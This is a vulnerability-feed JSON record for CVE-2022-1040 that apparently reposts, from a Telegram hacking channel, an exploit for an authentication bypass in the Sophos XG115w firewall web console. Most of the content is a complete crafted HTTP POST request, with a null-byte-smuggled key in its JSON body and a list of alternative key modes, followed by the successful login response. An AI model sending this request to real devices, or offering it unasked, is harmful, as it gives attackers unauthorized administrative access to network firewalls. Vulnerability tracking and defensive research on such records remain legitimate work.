{"uuid": "84f027ea-12f9-464e-b850-e598a03f5db3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1040", "type": "seen", "source": "https://t.me/hacking_Attack/64968", "content": "Exploit Collector\nSophos XG115w Firewall 17.0.10 MR-10 Authentication Bypass\n\nhttps://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png \nSophos XG115w Firewall version 17.0.10 MR-10 suffers from an authentication bypass vulnerability.\n\nSHA-256 | caaaf298385288773c3e71845cbf340e5bbbc9ab2655ac84f91e638760b5551a\n\nDownload\n# Exploit Title: Sophos XG115w Firewall 17.0.10 MR-10 - Authentication Bypass\n# Date: 2022-08-09\n# Exploit Author: Aryan Chehreghani\n# Vendor Homepage: https://www.sophos.com\n# Version: 17.0.10 MR-10\n# Tested on: Windows 11\n# CVE : CVE-2022-1040\n\n# [ VULNERABILITY DETAILS ] : \n\n#This vulnerability allows an attacker to gain unauthorized access to the firewall management space by bypassing authentication.\n\n# [ SAMPLE REQUEST ] :\n\nPOST /webconsole/Controller HTTP/1.1\nHost: 127.0.0.1:4444\nCookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0\nAccept: text/plain, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Requested-With: XMLHttpRequest\nOrigin: https://127.0.0.1:4444\nReferer: https://127.0.0.1:4444/webconsole/webpages/login.jsp\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 192\n\nmode=151&json={\"username\"%3a\"admin\",\"password\"%3a\"somethingnotpassword\",\"languageid\"%3a\"1\",\"browser\"%3a\"Chrome_101\",\"accessaction\"%3a1,+\"mode\\u0000ef\"%3a716}&__RequestType=ajax&t=1653896534066\n\n# [ KEY MODE ] : \\u0000eb ,\\u0000fc , \\u0000 ,\\u0000ef ,...\n\n# [ Successful response ] :\n\nHTTP/1.1 200 OK\nDate: Thu, 04 Aug 2022 17:06:39 GMT\nServer: xxxx\nX-Frame-Options: SAMEORIGIN\nStrict-Transport-Security: max-age=31536000\nExpires: Thu, 01 Jan 1970 00:00:00 GMT\nContent-Type: text/plain;charset=utf-8\nContent-Length: 53\nSet-Cookie: JSESSIONID=1jy5ygk6w0mfu1mxbv6n30ptal108;Path=/webconsole;Secure;HttpOnly\nConnection: close\n\n{\"redirectionURL\":\"/webpages/index.jsp\",\"status\":200}\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:26.472860Z"}